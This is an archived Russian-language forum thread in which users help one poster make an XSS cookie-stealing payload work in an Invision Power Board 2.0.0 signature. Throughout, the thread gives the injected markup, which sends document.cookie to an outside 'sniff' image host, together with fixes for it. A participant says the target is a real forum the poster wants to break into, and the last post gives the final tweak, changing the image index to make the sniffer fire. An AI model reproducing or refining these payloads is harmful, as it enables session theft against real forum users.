PDA

Просмотр полной версии : Это фильтр или что? (проблема со вставкой скрипта в Ipb 2.0.0)

Telepuz
26.04.2005, 17:40
<div class="postcolor" style='padding:4px;'><span style='color:<img src='http://aaaaa/=`aaajpg' border='0' alt='user posted image' />'>` style=background:url(javascript:document.images[68].src=&quot;http://*******/sniff.jpg?&quot;+document.cookie); </span></div>

Это получается поле вставки скрипта


http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[68].src="http://*******/sniff.pg?"+document.cookie);


перед style появляется />'

Как можно это обойти?
KEZ
26.04.2005, 17:43
замени [COLOR=] на [color=#aaaaaa]
если не получится, назови версию форума... если это форум...
я подумаю
Telepuz
26.04.2005, 18:02
Invision Power Board 2.0.0


<div class="signature" style="padding: 5px;">
<span style='color:#aaaaaa
<iМg src='http://aaaaa/=`aaajpg' border='0' alt='user posted image'
/>'>`style=background:url(javascript:document.images
[68].src=&quot;http://armadaplus.com/css/show.gif?&quot;+document.cookie);</sрan></div>


Это получается после присвоения цвета.
Т.е получается так, что подпись не отображается, по идее должен работать скрипт. Но опять появлятеся />
coyl
26.04.2005, 20:30
это потому что у тебя опера, а опера не видит знак `. то есть в эксплорере это подействует, а в опере - нет =) вот и всё =)
Telepuz
26.04.2005, 21:15
нифига =)
Опера никак не вставит />. Это делает форум. Тем более, что проверяю я вставки в Ie.
Telepuz
30.04.2005, 22:33
Не отключал он теги. Стандартные теги работаю же и я об этом говорил. Так что не пори чушь.
Super White Jordan
01.05.2005, 00:17
Чушь мелишь ссылку давай. Если у тебя в теле сообщения не работает, (Хотя чисто глядя на html который ты дал всё работает) то фильтры стоят.
Telepuz
03.05.2005, 00:26
Тема закрыта, всем спасибо =)
Super White Jordan
03.05.2005, 04:27
Не отключал он теги. Стандартные теги работаю же и я об этом говорил. Так что не пори чушь.
Ну вот Я всё проверил, судя по тому коду который ты тут дал на форуме, он теги в подписи кроме картинки отключил. Откуда Я знаю что он теги в подписи отключил? Ну потому что Я прочитал твой html код который ты сам и дал!!!! Так что год, врать не умеет. =)))

Теперь, ты мне в приват прислал ссылку на тот форум который ты хотел взломать.

Ну так вот, Я там всё проверил, и в подписи и в сообщении фильров нету там всё работает. У тебя снифф не работал потому что у тебя 68 в коде. Это Админы в статье специально зделали чтобы Ламеры (В этом случае к сожалению как ты, но только не обижайся=) ) не ломали форумы. =))))))

Так что поменяй на 1. =))))